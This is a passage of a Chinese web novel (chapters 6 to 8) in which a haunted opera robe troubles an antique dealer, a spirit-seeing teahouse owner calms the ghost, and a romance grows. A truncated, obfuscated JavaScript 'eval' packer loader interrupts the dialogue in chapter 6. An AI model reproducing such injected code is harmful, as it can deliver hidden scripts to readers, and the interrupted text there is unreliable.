“这件就挺好。”觐灵不肯要,他略有些古玩知识,一见那件粉彩笔洗,便知道是老物件,价格不菲。 卿甫让小张将青花笔洗包好,交给觐灵。 “我送你回去。” 见觐灵将伞撑起,卿甫便拿车钥匙过来。 觐灵说:“不用,我出街后就有车直接到我家门口了。” 仲敏也出来送行,笑语:“就让老赵送送,店里有人看。老赵,记得买些茶,店里龙井快喝光了。” 觐灵不再推辞,撑伞与卿甫一起过街,卿甫接过伞说:“我来。” 他比觐灵高,他来撑伞正合适。 此时太阳不像正午那么热辣,两个大男人合撑一把伞未免显得奇怪。 等两人走远,仲敏说:“啧啧,老赵晚节不保。” 小张凑过来问:“那人是谁,好优雅的一个人。” 黄姐说;“男孩子长得太清秀不好。” 卿甫已经远去,自然听不到他们的讨论,他见觐灵额头上冒汗,问:“你怕热吧?” 觐灵回道:“我不怕冷,特别怕热,夏天最是难熬。” 难怪他会撑把伞出门,一走动就冒汗。 6. 第 6 章 在罗家,仲敏和卿甫将大厅的茶几抹干净,把那件花重金购来的戏袍摊在茶几上。老罗头推动轮椅,围着戏袍转,东瞧瞧西摸摸,说:“大值啊,这是织金蟒袍,看这些金色的线,可都是金丝。” 先前仲敏就说过是织金,卿甫曾见过织金织物,他没有专研,难以分辨真假,既然连老行家老罗头都说是织金,必然就不会错。 “这袍子极好,就是有几处污浊的地方。”仲敏唯一的不满处,也仅是这一点。 “必须找专业的人来处理。”卿甫轻抚织物。 “我多少懂点,但是戏袍我不敢下手,先收起来,再去请个人来清洗。爸,你认识这方面的人吧?”仲敏对自己有几斤几两十分清楚。 “要我看来,就不要再做处理了,这样的东西,自有行家购买。”老罗头不赞同。 保持原状最好,就怕清洗时出什么岔子。 织物的保存是门学问,仲敏颇有经验——他自己就收藏着几张补子。 戏袍就这样暂时存放在罗家,仲敏几天后去定制了一个玻璃柜子,把这件戏袍挂进玻璃柜里,摆放在自己寝室中。 原本想摆在店中,但是老罗头说这东西的味道似乎不对,怕是来历不明。 要是还能联系上卖家,或许能从他们口中套出话来,只是那些卖家交易过后,就再也联系不上,也不知道名姓。 过了一段日子,卿甫惦记朱馆主的事,问仲敏是有吴镇梅花图的消息,仲敏一拍头,说:“忘记问我家老头打听得怎样。” 这些天仲敏的记忆力明显不行,连帐都算错,这么精明的一个人,突然变得迷迷糊糊。 再见仲敏眼圈发黑,面色发青,令人担心是否健康出了问题。 卿甫素来不管个人私事,他对仲敏印象不错,这人又是老罗头的儿子,便在仲敏缩在长椅上打哈欠时,问他是不是病了。 “连你也这样说,我老爹今早还问我呢。”仲敏显得无奈。 “老赵,说出来你肯定不信,我夜里总做怪梦,醒来也不记得梦见的是什么,总觉得心悸,冷汗流个不停。我正在想要不要找人去瞧下我家宅子。”仲敏这人迷信风水,才有这样的念头。 “找风水师不如去看医生。”卿甫素来不信风水,他以前也不信鬼魂。 “还别说,也许有什么不干净的东西,我前晚还梦见有个人影在我床前荡来荡去。这么说应该去请个道士才对。”仲敏揉着眼睛,困意一阵阵袭来。 卿甫自从卿年出过事后,对这类东西就保留意见,不再说什么。 仲敏冷不丁说道:“自从那件戏袍挂我房间里,我就没睡过安稳觉。” “搬去大厅,或是收起来,那是来历不明的东西,没叫你显摆。”卿甫也开始觉得恐怕与那件戏袍有关系。 “我要请我师兄来看看,这类邪物,得给它镇一镇。”仲敏说着就去掏手机,打他师兄的电话。 也不知道他什么时候有个师兄,仲敏的生活经历是比较复杂的。 下午,一位穿道袍带齐道具的人来到古玩店,由于是仲敏的师兄,免费服务,就让他顺便看下店铺的风水如何(兼职看风水),这人说借水生财,让仲敏在店内弄个大水箱,养几尾鱼。 都是老生常谈。 道士进罗家,四处走动,先是说洗手间与厨房的位置不好,不过不碍事,进了书房则说以前就告诉仲敏,书房收藏的器物阴气重,需要在门内贴符,说着就从背包中取出几张符递给仲敏。 仲敏说:“书房平日很正常,没有什么不适感,主要还是我那间卧室。” 于是三人一前一后,朝仲敏的卧室走去,还没迈进卧室,道士急忙一把将仲敏揪住说:“那件衣服邪得很,你怎么挂在寝室里。” 仲敏先前并没跟他师兄提过戏袍的事,他正是因为挂了戏袍才夜夜梦魇心悸,只说是找他来看下宅子。 师兄也不知道是不是真有些法力,一眼就瞧出那件戏袍有邪气。 “你们搞收藏的,就是不讲究,这样的东西,供起来都还怕作祟,何况是挂在主人房内。” 师兄一通说教,仲敏没回嘴, 他卧室里还有其他没摆出来的旧物,以前也没出过什么怪事。 “师兄,你还看出什么?”仲敏问。 “这东西虽然有邪气,但不强盛。挂是肯定不能挂了,收起来拿去书房好了。如果还是不放心,可以在床头贴张钟馗像,你卖古玩字画的,钟馗像总有吧。”师兄说的方法,看来十分简单。 仲敏送师兄回家,卿甫也就此回店里。 傍晚,仲敏到店里取走一幅钟馗画,卿甫揶揄:“你不会真得去买水箱金鱼吧。” “水能生财,买来店里装饰一下,没什么不好。”仲敏如是说。 深夜,卿甫在书房看书,不知不觉读至凌晨一点,刚准备睡觉,手机突然响起。 电话里头仲敏那声音不比平日,明显在颤抖:“我师兄一睡死就叫不起来,卿甫,我刚才被吓死了,现在正在喝酒壮胆呢。” 卿甫问他:“又做恶梦了?” 仲敏仿佛没听到,自顾说:“今天我拿了张钟馗像你知道吧,就挂我床头。” 卿甫回道:“知道,怎么了?” 仲敏咽下唾液,压低声音说:“烧了。” “怎么烧了?”卿甫惊诧。 仲敏灌了自己一口烈酒,缓过劲接着说:“自己烧的,我看着它烧呢。妈呀,那间房我是不敢回去睡了。” 挂墙上的画像会自己烧起来,本身就十分诡异,仲敏吓得瑟抖也不是装出来的,难道真是闹鬼了。 “明天再将你师兄请来看看。” “得请个真才实料,能见到那东西真貌的高人才行啊。”仲敏已经失去对他师兄的信任。 卿甫脑中出现一个身影,是朱馆主清雅的侧影,他回:“将你老爹喊起来陪你,我去睡了。” 如果真有鬼魂之类的东西,朱馆主肯定能看到。 不过,得先去问下朱馆主,看他能不能帮这个忙。 第二日,卿甫先到店里,仲敏迟迟才来,见他那副模样实在凄惨,脸色已经不是发青而是苍白。 卿甫问:“你还好吧?” “很不好,头疼,浑身畏冷。”仲敏往椅子上一躺,一脸疲倦。 “去看医生,别总往鬼神方面想,说不定就是病了。” 身体不适,无疑就是生病。 “卿甫,我有事没跟你说。”仲敏压低声音,以防被室外的小张与黄姐听到。 “你说。” “我昨晚实在太倦了,就又回房间去睡,然后就看见了。”仲敏说至此,神色紧张。 “看见什么?” “看见一个二十几岁的男子,穿件长褂,剪着一头短发,在伊伊啊啊唱戏。” “你确定自己不是在做梦?” 仲敏看了卿甫一眼,眼神恐惧:“确定,他把脸贴过来,那眼神特别幽怨,我看得特别真切,吓得大叫一声。” 卿甫沉默好一会,说道:“有个人也许能帮你。” 觐灵平日里会到茶馆走动,每天都会过去,一般待一两个钟头,其余时间不是去访友,便是在家中休闲。 觐灵交好不多,仅寥寥几人,这些交友都有共同爱好,喜欢传统乐器。觐灵古琴方面的造诣不低,曾做过一番苦练。 卿甫打觐灵手机时,他正参与友人的琴会,手机静音,直到琴会结束,觐灵才发现有一通未接电话,拨打者正是赵卿甫。 “赵先生,我下午参加琴会,手机设置静音,刚刚看到你的电话,有什么事吗?” “朱馆主,打扰了,有件事不知道你能不能帮忙。” “请说。”觐灵不假思索。 “这件事,说起来离奇,仲敏前段时间收购一件戏袍,挂在他自己的寝室里,便发生一些怪事,以至能看到鬼魂之类的东西。”卿甫说到这里,顿了顿,接着说:“他请过道士,道士让他挂钟馗像,据说昨夜钟馗像忽然自燃,还看到一个鬼魂,我想……”卿甫迟疑。 觐灵听到这样的陈述,已经知道为什么上找自己。 单听对方的讲述,已经觉得这事紧急,回道:“我现在有空,要不我过去看下?” “那好,你不知道罗家位置,何况天也黑了,我过去载你。” 觐灵打电话来时,卿甫人还在店里,仲敏人也在,虽然说卿甫先前已经告诉仲敏,朱馆主有阴阳眼,仲敏仍是半信半疑,现又听说朱馆主要过来帮他排忧解难,不免惊诧。 朱觐灵馆主看起来柔柔弱弱,原来还有这样的本事。 开车前往朱宅,卿甫不由地加大油门,这些天来,他朱馆主的身影偶尔会出现在他脑海中,似乎有了念想。 无缘无故去拜访他,未免显得唐突,现在可是有正经事去见他。 当然,老赵也不是光为自己心中那点念想,他真得为仲敏担心。 抵达觐灵家院子,觐灵人正坐在院子里,见卿甫过来,把院门一锁便上卿甫的车。 卿甫边开车边问:“你家里就住你一人吗?” “母亲和哥哥都不在临城。” 卿甫又问:“那你父亲呢?” 觐灵神色黯然:“已经过世。” 听到这话,卿甫不免在心里骂自己是木头脑袋,暗香茶馆是朱家祖辈经营下来的,如果朱馆主的父亲还在世的话,馆主就该是父亲而非儿子。 “他过世后,你便接手茶馆吗?”卿甫继续询问。 他想打听朱馆主的过往,现在正好有这个机会。 “七年前去世,那时候我大学刚毕业。” 觐灵目光一直落在窗外,他不自觉背向卿甫,这个动作,被卿甫捕抓到,卿甫从肢体语言中读懂,觐灵似乎不想追忆往事。 卿甫不再问话,觐灵沉默一会,缓缓道出:“他去世之前,与我母亲已经离婚,去世之后,我哥回来分家产,主张卖掉茶馆。” 卿甫想自己触及了朱馆主悲伤的往事,心中不忍,但也因为对方肯跟他说,又生出几分喜悦,想搭话也不知道说什么,只得嗯嗯两声。 觐灵像在自言自语,轻轻道:“他当时已经谈好卖家,是我做了阻拦。那时茶馆经营惨淡,濒临倒闭,也曾想,或许卖掉才是正确选择。” 原来暗香茶馆也濒临过倒闭,卿甫自忖:“你保住了茶馆,需要付你兄弟一笔钱吧?” 觐灵点头:“毕竟是父亲的产业, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你很有经商才能。”卿甫不是随口赞誉,几年前暗香茶馆默默无名,现在有这样的声誉,是觐灵作出的成绩。 “愚钝的人,就得多做努力,我接手茶馆后,为了解顾客的需求,当了一年的服务员。” 觐灵轻笑,他谈起茶馆,心里总是感到欣慰。 “我要是早年养成上茶馆喝茶的习惯,说不定早就有机会认识你。”卿甫感到惋惜。 相见恨晚。 “要是这样,当时你《燕云》还没写,我就可以跟你讨论一下古琴曲。” 觐灵露出笑容,话语中带着些许神往,不过他很快意识到自己失态,低头不再言语。 “你该不是想取笑我吧,云水先生是位宫廷乐师,我自己对古琴了解甚少。”卿甫开起玩笑。 觐灵急忙辩解:“不是,我是想跟你说,他演奏的《幽兰》不同于传世琴谱。” 卿甫看向觐灵,十分惊诧,觐灵这才意识到自己失言。 “你听过?”卿甫问出这样的话,自己都觉得不可思异。 “我……随口说说。” 觐灵没有了底气。 “朱馆主,能跟我说实话吗?你见过云水先生吗?” 云水先生是曾经活动于临城的历史人物,在临城另一个时空里生活的真实人物。 “你信吗?” 觐灵问卿甫。 “我信。”卿甫回得毅然。 这是第一次,卿甫对超自然的东西表达了他深信不疑的态度。 不知不觉汽车已开进罗家所在的社区,卿甫还有话要问觐灵,但还不至于将他今晚找觐灵的原因忘记。 仲敏的事才是要事。 在觐灵坐上卿甫车的那刻起,仲敏似乎就一直被遗忘,直到此刻才被想起。 抵达罗家,卿甫在前,觐灵在后,两人一起进屋,仲敏热情迎上,请觐灵坐下喝茶,茶几上已经摆好茶点。 仲敏沏茶,为觐灵倒上一杯,招呼:“朱馆主请喝茶,老赵,我就不招待你了,你自己来。” 卿甫在罗家如同在自己家一样,往椅子上一坐,把房子东瞧西看,见老罗头似乎不在,便问:“你爸呢?” 仲敏落坐说:“去我姐家住几天。” 想来是老罗头也吓得不轻,这才去女儿家住。 觐灵目光不时落在仲敏的身侧,他并不说话,仲敏也无知无觉,只有卿甫觉察到觐灵的小动作,问道:“朱馆主,他身边是不是有什么东西?” 觐灵颔首,他看着仲敏,轻轻说:“罗先生请与我仔细描述那鬼怪的模样。”仲敏左右张望,不自在地耸肩,将昨夜见所见描述:“大概是个二十岁出头的男子,穿着件湖蓝色长褂,短发,脸长得狰狞恐怖,一双眼睛阴测测,相似有很深的怨念,多半是个恶鬼。” 觐灵点点头,幽幽道:“请你们回房间去,留我一人在大厅。” 仲敏望向卿甫,很困惑,卿甫没说什么,将仲敏劝走。 “请留步。” 觐灵就在此时说了一句古怪的话语,那声调不是本地话,也不像普通话,但见他做了一个请的动作,并且沏上一杯茶,搁放在一个空置的坐位上。 仲敏好奇想看,被卿甫拽进书房。 两人坐在书房内,书房门没关,他们虽然听不清楚觐灵说些什么话,但看得出觐灵明显在招待某人,并与那人交谈,而且用的是一种古怪的语言。 7. 第 7 章 觐灵与“空气”交谈好一会儿,才唤卿甫与仲敏出来,他对仲敏说:“罗先生是否随身携带孟兄的东西?” 仲敏先是一懵,后满脸惊愕,点头如捣蒜说:“难道是……那件东西吗?!” 卿甫道:“哪件东西?” “购戏袍时,卖家搭了一件小玩意送我,就一个银制的挖耳勺。” 仲敏低下头,急解腰间的钥匙串,手忙脚乱,解了好会才解出,递给觐灵,对上觐灵平静的脸,仲敏心里想:不对啊,这事朱馆主怎么可能知道,连卿甫都不知晓,愕然问:“朱馆主,你怎么知道我留有东西,难不成……是那……鬼魂告诉你的?” 觐灵接过钥匙串,并没回答,而是将钥匙串中的一件挂饰取下,这件挂饰是件精巧的银制挖耳勺,只有七八厘米长。 觐灵看向仲敏,缓缓道:“这是孟兄的贴身物品,你佩带了它,又将他生前珍爱的戏袍挂在寝室,也就不奇怪孟兄为什么一直跟随在你身后。” 仲敏“哇”的一声,弹跳起来,用力拍打身子,就跟身上爬满蚂蚁一样。 “不要惊慌,孟兄已经离开,并且保证再不会纠缠你。”觐灵安抚仲敏。 仲敏意识到自己失态,尴尬地在一旁坐下,仍一脸惶恐。 “朱馆主,现在要怎么处置?”卿甫最开始见觐灵一直在看仲敏身侧,就怀疑是不是有东西一直紧随在仲敏身边,现在听觐灵这么说,显然是如此。 他如果还对觐灵的这种特异才能有过怀疑,那么此时已深信不疑。 那件银制挖耳勺,主要功能是发簪,卿甫开了两年古玩店,曾见过类似的明代发簪,他认得。 也就是说平时是发簪,耳朵痒痒时拔下挖耳朵,这样的物品再贴身不过了。 这只叫“猛兄”的鬼魂,看来生前也是位收藏爱好者,收集了不少古玩。 “多年以前,他的坟墓与骸骨就一并遭到摧毁,无奈下才将魂魄依附在随葬的戏袍上,也无法驱赶他去别处,这个没法处理。” 觐灵不是抓鬼的道士,他只是能看见,能与之对话,没有降服的能力。 此鬼墓穴被毁,不得不将魂魄依附在戏服上,想将之从戏服上驱赶出去,显然是很难办的事情。 “罗先生,他对你没有大的恶意,也保证过不会再去纠缠你,也请你不要想再拿物品镇他。镇不住,反倒会激怒对方,就和睦相处吧。” 觐灵温语。 “我不再拿它的挖耳勺当钥匙坠,它就不会跟随我身边吧?并且如果我不想灭它,它就不会害我是吗?”仲敏急需双重保证。 这些闹鬼的日子,他可是过得一点都不好,非常不好。 “是的。” 觐灵看向书房,微笑:“你家氛围好,他又不是什么恶鬼,就让他住下吧。” 我家氛围一点都不好! 仲敏只差没落泪,又见觐灵目光落向书房,战战兢兢问:“书房……里有什么?” “觐灵,他没胆子,你保留吧。”卿甫真怕觐灵说出什么渗人的事来。 “你家藏有一副名家绘的墨兰图是吗?我能见一见吗?” 觐灵并不想吓仲敏,而且罗家并无其它不好的鬼怪。 房门大开的书房,在卿甫与仲敏眼中,除了书架字画外,并无其它东西,但看在觐灵眼中,这间书房不同寻常,散发着兰花的幽香,即使里边没有成型的物体,但是幽幽几缕古远的思念交错于里边,使得书房成为了一个空间,觐灵一进屋就察觉。 “是有一幅墨兰图,我爸宝贝得要命,一向锁起来,要等他回来才有钥匙开。”仲敏不再惊讶朱馆主怎么会知道。 “没关系。”说时,觐灵嘴角有淡淡笑意,因为他已经“看”见那幅画了,是一株兰花,无土无根,清淡优雅。 卿甫道:“朱馆主,时候不早,我送你回去。” 已经很晚了,问题基本解决。 觐灵点点头,对仲敏说:“罗先生,请务必为我保密,今日之事,外人一言也不得说,即使是令尊也不可,还望罗先生遵守。” “朱馆主不用担心,我会保密。”仲敏保证绝对不会告诉外人,他感念对方的帮助。 今日的事情,将只有他们三个人知道。 仲敏平生第一次见到这么神奇的事情,自然想告诉他人分享,不过被这样要求,只能做出承诺。他这人一做承诺,就不会违背。 临走前,觐灵见仲敏仍惴惴不安,便望向大厅角落,自顾说了一通话,他说的不是今日的语言,而是旧时的官话,卿甫与仲敏都听不懂,不过飘渺无影的孟兄能听懂。 “罗先生,我来做介绍,你们正式结识一下,他叫孟梓晴,是位富商子,年仅二十岁,因为感染恶疾去世。他生前也喜爱字画,与你想来有些缘分。” 觐灵手指向之处,一个淡蓝的身影浅浅呈现,这人清瘦文雅,身穿件湖蓝色长褂,正朝仲敏双手并拢,深深作揖。 仲敏惊愕之下,亦如对方,端端正正行了个揖礼。 这回换卿甫错愕,他一把拽住仲敏:“你看得见吗?” 仲敏很吃惊:“你看不见吗?” 卿甫非常纳闷,为什么他看不见? 就连仲敏都能看得见,他没道理看不见啊。 回去路上,卿甫拿这事问觐灵,觐灵说大概卿甫属于那种阴气之物接近不了的体质。 也就是说,卿甫与朱馆主是两个极端。 再次将觐灵送回到他家门口,此时已经是深夜,天气转凉,卿甫仅穿短衫,着凉打喷嚏,觐灵本来已经迈进院子,立即停下脚步,转身说:“你先别走,我拿件外衣给你。” 卿甫立即跟随觐灵进屋。 上回带卿年过来,卿甫已经在大厅坐过,当时李则成也在,现在则只有他与觐灵两人。 卿甫坐在大厅,觐灵进寝室取衣服,寝室门半开,卿甫坐的位置正对寝室,透过半掩的门,可见寝室舒适而整洁。 觐灵拿件风衣出来,递给卿甫。 风衣崭新挺括,卿甫套上,衣身袖口都短一截,不过能穿上。 风衣上有主人的气息,是一种淡淡的香气,很类似腊梅的香味,卿甫怀疑是熏香的味道。 觐灵的寝室里也有这股气息,房门开着,他便闻到。 “这衣服我穿起来较宽大,平日不怎么穿,不用急着还。” 觐灵说道。 天色已晚,主人家也该休息,不便久留,卿甫辞行:“那哪天来找你,再拿给你。” 卿甫出院子,启动汽车,觐灵在院门口目送,叮嘱:“小心开车。” 卿甫挥手,说:“回去吧。” 老赵一个大老爷们,着点凉,吹点冷风,根本不碍事。 车开出老远,突然停下来,卿甫扯起衣领,低头嗅衣香。 回到家,卿甫把风衣脱下,扯起领子嗅闻,那股熟悉香味还在。 要说男人身上喷香水不奇怪,就是这香气太温和,过于柔美,不是男性香水的气味,但这样的气味,莫名和朱馆主很搭。 夏日,熏香可以除湿气,杀蚊虫,也许朱馆主有香熏衣物的习惯。 卿甫将朱馆主的风衣挂进自己的衣柜里,和自己的其余衣服贴靠在一起。 会客室里,仲敏精神焕发,一扫前几日的憔悴,正拿饲料喂水箱中的金鱼。 一见会客室里多出一个大水箱,十几尾五颜六色的金鱼,卿甫没说什么,反正是仲敏自己掏钱。 “老赵啊,给我朱馆主的电话,我晚上想请他吃饭,你也一块来。”仲敏抬头见卿甫进来,第一件事就是讨要电话号码。 抽张空白纸张,卿甫写下一串号码,吩咐:“没告诉你爹吧?他交代你的事,你要遵守。” 仲敏放下鱼饲料,走过来,拿手机按号码,边按边说;“没呢,我骗我爸说,我师兄请来一位老道士帮忙抓鬼,而今事情已经搞定。” 卿甫拉张椅子坐下,把双脚搭在办公桌上,悠悠道:“要请我跟觐灵去吃什么?” 仲敏没有回应,他已经拨通觐灵电话,在和觐灵交谈,听他们的交谈声,觐灵似乎推辞了。 “怎样?” 见仲敏挂掉电话,一脸沮丧,卿甫未问出口,心中已有答案。 “难请啊,说是举手之劳,用不着答谢,还让我善待孟兄。”仲敏皱着眉头。 卿甫嘴角上扬,他就知道朱馆主不好请,不过有意思的是,但凡是自己的邀请,朱馆主都不曾拒绝。 “我看你要答谢他,请他吃饭还不如送他件礼物,店里多得是,你挑一件。”卿甫帮仲敏出主意。 仲敏一听,对啊,他怎么就没想到。 在店里挑选一番,又找卿甫做参考,仲敏最终选中一方端砚,这件端砚是现代作品,但是出自大师之手,不失为一件精品。 下午,由卿甫先与朱馆主联系,确认他在家,仲敏再携带上一方端砚,搭卿甫的车前去朱家。 卿甫不嫌麻烦回家取来朱馆主的风衣,才和仲敏去朱家拜访。 仍将车停朱家院口外,主人已经在院中等待。 觐灵听到车声,出来接迎,两人跟随他进屋。 坐在客厅中,喝着朱馆主亲自沏的茶,仲敏先是提起父亲老罗头对吴镇梅花图的踪迹做过一番寻觅,可惜没有消息,后才谈及自己这些天睡得很好,再没有梦魇侵扰,朱馆主真是救了他一条小命。 这点心意,还请朱馆主一定要收下。 仲敏立即将那方砚台往桌上一搁。 觐灵推拒不了,只得收下。 三人坐一起,谈的话不多,仲敏虽然对朱馆主充满好奇,但是他与对方不熟,不好刨根问底,他坐了会儿,便打算离开,对卿甫用眼神示意,见卿甫没有起身的意思。 卿甫丢了串车钥匙给仲敏,说:“你开回去。” 仲敏猜测老赵估计有什么私事要跟朱馆主谈,他接住车钥匙,起身就离开。 听到屋外汽车启动的声音,卿甫端起茶杯,喝上一口,笑语:“我们聊聊云水先生的《幽兰》。” 觐灵说:“你下午不忙吗?” 卿甫立答:“我一向清闲。” 端详卿甫的眉眼,觐灵沉默好一会儿,才开口道:“我也想问你一件事。” “你尽管问,有问必答。” 觐灵莞尔,他也不是要问卿甫多么私密的事情。 “你家的族谱还在吗?古时,可曾有族人在临城出仕?” “这个……” 实在没想到朱馆主会问他这样的事情,卿甫道:“我不曾见过,族谱大概早毁了,至于先祖的事情,更不曾听说,你怎么突然问起这样一件事?” 觐灵见卿甫确实不清楚,心里有些失落,他原本想跟卿甫说的话,便又咽下,只是问:“你为什么写《燕云》?” 这是一个问题接一个问题,跟接受采访一样,卿甫贴靠在椅背上,抱胸看觐灵,英俊的脸对上觐灵,笑迷迷说:“你会演奏古琴吧,我想听云水先生的《幽兰》。” 觐灵真后悔,自己之前不慎失言,卿甫不好欺瞒,看来,自己只得一五一十告诉他。 “茶馆的‘通道’ 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卿甫说的是真心话,他喜欢朱馆主,这种喜欢应该是知己的那种喜欢。 他和朱馆主认识的时间不长,但自己的一些情感似乎能与对方相通,这种感觉颇为美妙。 “赵先生让我很震惊。” 觐灵看向卿甫,带着敬佩之情。 被那么漂亮的一双眼眸凝视,空气仿佛都要起化学作用,只得将桌上那杯已经放凉的茶灌入腹中。 卿甫想转移视线,视线又忍不住落在对方的眉眼与唇上。 “那天在湖畔,你问我,能不能看到湖堤上行走的古人,我能见到,不同时空的身影交错在一起,熙熙攘攘,我想它们大多是鬼魂吧。” 觐灵轻笑,他能看见,他甚至能感受到一些没形体的东西,比如一段执念,一份哀怨,年少时因此痛苦不堪,好在后来得到克服。 这种“能力”对觐灵是一种折磨,所幸多年后已经麻木,不再受到干扰。 “你这种能力,是在‘通道’里边获得的吗?” “我不确定,我刚懂事时,就能看到阴气之物,七八岁时,父亲带我求见一位住持,给我索来一串念珠,戴上便不用看见。” “就是你给卿年那串念珠吧。” 卿甫就知道那条念珠有来历。 “是的。我再长大些,已习惯去见到听到,心里也有去接触的念头,就不再依赖念珠。” “朱馆主,那位依附在戏袍上的孟兄是百年前的人,你又怎么懂得那时的官话?” 卿甫对于觐灵当时说的是官话纯属猜测,各地都有方言,五湖四海的人聚集在一起,要交流得用官话。 “时空的不同,在我看来只是语言上的差异,只要能说那时空的语言,就能和那时空的人交流,甚至像朋友那般相处。”觐灵对卿甫几乎毫无保留。 “那位古代的赵姓官员是谁?”卿甫很敏锐。 “不是什么历史名人,大概是个默默无闻的人。” 喃喃道:“我以前喜欢在深夜前往湖畔,那时候最是静谧,也不会引人注目。”觐灵 “你该不是独自一人租条船,在上边自饮自言吧。”卿甫几乎能想象是个怎样的情景。 鬼魂一般人看不见。 觐灵想来会与鬼魂交谈,喝茶。 “你来帮我想想,我怎么才能看到鬼魂。”卿甫不是在开玩笑,他确实想见一见朱馆主眼中的世界。 “这并不是好事,对身体不好,活人与死魂有隔阂,打破隔阂的人,还不知道会有怎样的惩罚。” 觐灵喃喃自语,他正是这样的人,“只是……有时候,实在太孤寂了。”说到太孤寂时,觐灵把头低下,看向手中玲珑的白瓷茶杯。 朱馆主是个孤寂的人,卿甫感受得到,卿甫自己也是个孤寂的人,但他那份孤独之感不像对方那般深刻。 “朱馆主要是感到孤独的话,不要再去找那些不该陪伴你的游魂,我也可以陪你坐一坐,喝茶聊天。” 卿甫握住觐灵执茶杯的手,目光真挚——卿甫自己都没察觉,这样的举止太唐突。 觐灵连忙抽出手,身体缩至一旁,低语自责:“我话说多了。” 好在朱馆主很快恢复常态,将仲敏赠送的礼物拆开,见是一方砚台,对卿甫笑语:“你帮我谢谢罗先生。” 觐灵曾说他当过一年茶馆服务员,或许是因此,心中抑郁,仍能露出微笑,只是那微笑看在卿甫眼中,忧伤极了。 卿甫一时鬼迷心窍,甚至有种冲动,想轻轻拂拭朱馆主昳丽的脸庞,触摸他耳边的发丝。 这样的举止,必会令朱馆主受到惊吓,也实在不合适。 卿甫起身道别,几乎是以逃离的方式离开,他心烦虑乱,迈出院门时,心还在砰砰砰砰跳不停。 适才如果不是他还有一丝理智,说不定已经将手摸上朱馆主的脸庞。 对于自己有这样的冲动,卿甫感到费解。 他这二十八年的时光,看来是白活了,到现在才有谈恋爱的激情,仿佛是一位愣头青。 卿甫没理清自己的情感,这夜过后,便不再联系觐灵,而觐灵这人,从不会主动联系卿甫,两人的往来一断就是两周。 这半个月时光,古玩店生意不错,仲敏促成数笔生意,让卿甫对他的经商才干感到佩服。 周末的一个早上,迟迟不见仲敏身影,卿甫正觉得反常,老罗头打来一通电话,焦急叫卿甫过去,说是仲敏昨夜睡下,到现在也没醒来。 怎么喊都喊不醒。 8. 第 8 章 觐灵这些时日十分慵懒,除去到茶馆走动外,便一直关在家中,琴友邀他出去聚会,也都被他推辞。 每日昏沉沉地睡,连宅中的鬼魂都看出他的不对劲,他的姑奶奶坐在他身边,用细长的手指梳理他的头发,眼里有忧郁。 姑奶奶未出嫁便夭折,一个世纪过去,仍是一副少女的模样,梳得整洁的头上斜插簪花,穿身绸衣,裙子尤其别致,花襴马面皱。 她虽有形体,却没有语言能力,甚至也无法去确认她是否有意识。 她的手抚摸觐灵的发丝,给予觐灵安抚,或许她感受到了屋主的郁结。 这世间的幽魂,大抵都没有语言能力,只有少数具有,生前执念越大的人,其魂魄保留越多生前的记忆,也因此更为强大。 大多数幽魂不仅没有语言能力,也没有形体,仅在人间残留几缕情感。 觐灵似睡非睡,不在现实之中,亦不在那虚幻之处,他存在于它们的交界之处,游荡其中。 多年前,李则成结婚,觐灵就曾迷失于湖堤多日。 他生着病,身体躺在床上,魂魄却脱离了,行走于大雪飘落的镜湖,湖面空荡无人,亦不见飞鸟,仅有一舟荡漾,舟上有一位年轻士子与一位蓄发书童。 士子见觐灵孤凄游荡,邀他入舟饮酒御寒,从白日饮至夜晚,酒醉昏沉,恍惚不知时光流逝。 一觉惊醒,才发现自己躺在医院,睁眼对上父亲焦虑的眼神与鬓角的白发,觐灵无声落泪。 那一次,觐灵昏睡了两日,那之后,觐灵心怀对父亲的愧疚,发誓决不再消沉。 一年后,父亲病逝,觐灵心中再无杂念,一心只想要守住茶馆,他再也不曾去爱过任何人,也不曾去动过一丝杂念,他心中有深深地愧疚与自责。 漫长的时光过去了,他认为自己已经是无情之人。 赵卿甫的殷勤和亲好,无论是有意或无意,都令觐灵犹如死潭的心起了涟漪。 觐灵犯了自己的忌讳,也违背当年所立的决心。 人终究是凡人,总要一错再错吗? 似真似梦,此时于觐灵的世界里,湖堤上,没有游人,连一舟都见不到,柳絮飘扬,觐灵走至石桥,见到尽头处所立的男子,那男子头戴乌纱,身穿圆领,腰系玉带,华贵雍容,气宇非凡。 他望着觐灵,觐灵也望着他,觐灵几乎想开口问你是谁,又知道这是自己所塑造的梦境,问不出所以然。 圆领男子手中执有一支白梅,缓缓朝觐灵走来,他将白梅夹在觐灵的耳边,摸上觐灵的脸,英俊的脸庞贴靠,在觐灵耳边低语,他的手拭过觐灵的发丝,像柳风一般。 觐灵闭上眼睛,静听对方的耳语,本该听懂,但是他听不懂,男子的唇轻轻蹭过觐灵的唇角,觐灵闻到梅花的香味,自己身上散发的梅花香气,他幽幽唤出三字:“赵子钧。” 名字被唤出,男子的身影渐渐淡去,只留下一缕梅香缠绕于觐灵耳边,这个有着赵卿甫容貌的男子,他叫赵子钧。 觐灵从梦中醒来,抚摸他发丝的姑奶奶已经消失不见,偌大的厅室,仅有他一人。 他从床上爬起,抬手碰到耳际的一枝花卉,他取下,是一枝梅花,白梅,尚带着梅香。 觐灵执白梅的手轻轻颤动,梦中残存的思念情绪使他的泪水从眼眶中溢出,门口一阵凉风吹过,梅花迅速枯萎,花瓣凋落于地,觐灵还来不及拾,便已化为灰烬,随风而散。 那场相逢,只是场梦,留予觐灵的,是印在他唇角的一个吻。 赵子钧……赵卿甫…… 觐灵在心中念起,他少年时期曾见过赵子钧,在茶馆的“通道”之中,那之后他再也见不到他。 为何会做这样的梦,就像似与这人有前世的宿缘那般。 手机铃声将思绪唤回,一见号码是赵卿甫,觐灵迟疑好久,才按下接听。 卿甫的声音在觐灵的耳边响起,觐灵回想在他耳边耳语的赵子钧,那人有着一张赵卿甫的脸,想起梦中被抚摸脸庞与发丝时的触感,吹拂在脸上的气息,觐灵心绪缭乱,听不清电话中的声音具体说了什么。 “朱馆主,听得见我说话吗?”赵卿甫的声音洪亮。 “听得见。” 觐灵的声音迷离。 终于听见觐灵的声音,卿甫的呼吸急促,好一会才说:“你现在有空吗?” 这是每次卿甫约觐灵,必先问的话。 觐灵迟疑好一会儿,回道:“有什么事吗?” 